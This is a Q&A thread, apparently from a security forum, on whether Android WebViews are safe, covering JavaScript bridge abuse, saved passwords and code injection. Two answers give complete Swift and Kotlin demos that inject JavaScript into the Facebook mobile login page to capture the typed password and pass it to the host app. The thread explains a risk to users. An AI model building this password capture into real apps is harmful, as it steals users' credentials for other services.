12

"Web Views" are views that display some online content, usually a webpage within an android app.

Implemented "Web Views" usually don't seem to have any kind of status bar or an address bar to confirm if I'm on the right website or not. Thus making it a perfect exploit for malicious apps to serve web page that can be used for phishing, say like a fake facebook sign in page that could steal my credentials with little or no suspicion!

That being one of the issues, I'd like to have a more detailed and definitive answer.

So are Web Views secure? What risks do they contain?

Let me ask about a few points on this:-

  • Does the web view pose the same security holes and flaws of the stock android browser (Because it is a derivative of it?)
  • A "remember password" dialog often appears for password submission forms in Web Views. Are the apps entirely isolated from this 'password store'?
  • Can apps possibly 'inject' some code into the Web View to track keystrokes/taps?
  • What other parts of the Web View does the app have access to?

I hope this question isn't too broad.

1
  • 2
    Typing your password into a WebView is the same as typing your password into an unknown app or website. The OAuth procedure to log into Google, Twitter etc. from an app is completely pointless as the app already stole your password when you typed it in. It has complete control over the WebView.
    – Monstieur
    Jun 2, 2014 at 10:19

5 Answers 5

4

Not exactly what you asked, but I see people miss this often enough that it's becoming an issue.

JavaScript bridges are used to break out of the browser sandbox (feature). However, for apps compiled for API level <17 (even if you're running latest and greatest but the app is compiled with lower API level, it is vulnerable), one can use reflection to execute ANY Java code from JavaScript (see Abusing WebView JavaScript Bridges).

Let me reiterate: with JavaScript bridge enabled in WebView, a "webpage" can execute any code as the WebView application.

More references:

3

I am no android guy, from iOS world, Webviews are not secured at all. In iOS you definitely can inject javascript into the WKWebKit. Here i've prepared an demo out of it.

import UIKit
import WebKit

class ViewController: UIViewController {

    private var webView: WKWebView?
    private var url = URL(string: "https://m.facebook.com/")!
    private var domInputFieldId = "m_login_password"
    
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        initializeWebView()
        loadData()
        
    }
    
    private func initializeWebView() {
        
        let javascript = """
    window.onload = function() {
         var passField = document.getElementById("\(domInputFieldId)");
         passField.addEventListener("input", function(evt) {
         window.webkit.messageHandlers.jsMessenger.postMessage("\(domInputFieldId): " + passField.value.toString());
         });
         window.webkit.messageHandlers.jsMessenger.postMessage("Window loaded");
    }
    window.webkit.messageHandlers.jsMessenger.postMessage("Script sent first message");
"""

        let userScript = WKUserScript.init(source: javascript,
                                           injectionTime: .atDocumentStart, forMainFrameOnly: true)
        
        let contentController = WKUserContentController()
        contentController.addUserScript(userScript)
        contentController.add(self, name: "jsMessenger")
        
        
        let config = WKWebViewConfiguration()
        config.userContentController = contentController
        
        webView = WKWebView(frame: view.frame, configuration: config)
        webView?.navigationDelegate = self
        
        view.addSubview(webView!)
    }
    
    private func loadData() {
        webView?.load(URLRequest.init(url: url))
    }
    
}

extension ViewController: WKNavigationDelegate {
    public func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
        print("WKWebView Delegate let me know, that it's done loading")
    }
}

extension ViewController: WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        print(message.body)
    }
}

All i'm doing listening to the DOM (Document Object Model) child with id m_login_password, and pass it to my app.

Output

enter image description here

2

One of the booleans available to the WebView class is setJavaScriptEnabled. Setting this to true/false will open up the normal vulnerabilities that are available through JavaScript. That said WebView has all the apis available to function as a normal browser. So all the normal precautions should be taken when writing a WebView that accepts user input (validation etc) or displaying content that is anything bust static.

Regarding your point about the remember password. If you have this functionality and save credentials in your application's WebView it won't be available to other applications on a nonrooted device. One you move into a rooted environment anything is possible.

2
  • You mentioned that other apps won't have access to the WebView password store on a nonrooted device. That means the current app that called the WebView has access to the credentials which is disturbing itself.. Are you sure apps have access to our password store? (I'm not talking about other apps, but the currently open apps that pop up the WebView..)
    – Irfan
    Dec 24, 2012 at 8:46
  • I think I was unclear...I'm talking about a WebView that you the programmer control. If you create a WebView and allow a user to enter credentials, you are able to store them(locally)-which is not disturbing but helpful. Each WebView only has access to it's own context, not for example other WebViews (of other apps to include the Browser)
    – KDEx
    Dec 24, 2012 at 8:58
1

Can apps possibly 'inject' some code into the Web View to track keystrokes/taps?

Similar to the answer by Ratul Sharker, turns out the same can be accomplished on Android:

import android.os.Bundle
import android.util.Log
import android.view.ViewGroup.LayoutParams
import android.view.ViewGroup.LayoutParams.MATCH_PARENT
import android.webkit.JavascriptInterface
import android.webkit.WebView
import android.webkit.WebViewClient
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        WebView(this)
            .apply {
                layoutParams = LayoutParams(MATCH_PARENT, MATCH_PARENT)
                addJavascriptInterface(LoggerInterface(), "Logger")
                webViewClient = PasswordLogger()
                settings.javaScriptEnabled = true
                loadUrl("https://m.facebook.com")
            }
            .also(::setContentView)
    }

}

class PasswordLogger : WebViewClient() {
    override fun onPageFinished(view: WebView, url: String) {
        val script = """
            var field = document.getElementById("m_login_password");
            field.addEventListener("input", function(e) {
                Logger.log("password: " + field.value.toString());
            });
        """

        view.evaluateJavascript(script, null)
    }
}

class LoggerInterface {
    @JavascriptInterface
    fun log(message: String) = Log.d("Logger", message)
}

screencap

0

Let me answer your first three questions here.

  1. stock android browser uses WebView. (1) if vulns in WebView, than browser sucks. (2) if browser's other vulns in its own implementation, other apps based on WebView may not be vulnerable.

  2. Current app can always read the passwords saved in databases/webview.db, since it is located in its own private internal storage. However, it seems that Google plans to disable this feature (see http://developer.android.com/reference/android/webkit/WebViewDatabase.html#clearUsernamePassword() ).

  3. App can inject JavaScript code into the current web view, such as this case. However, I am not sure whether these injected JS code can track keystrokes. Personally I think it is impossible, unless rooted or you control the input method.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .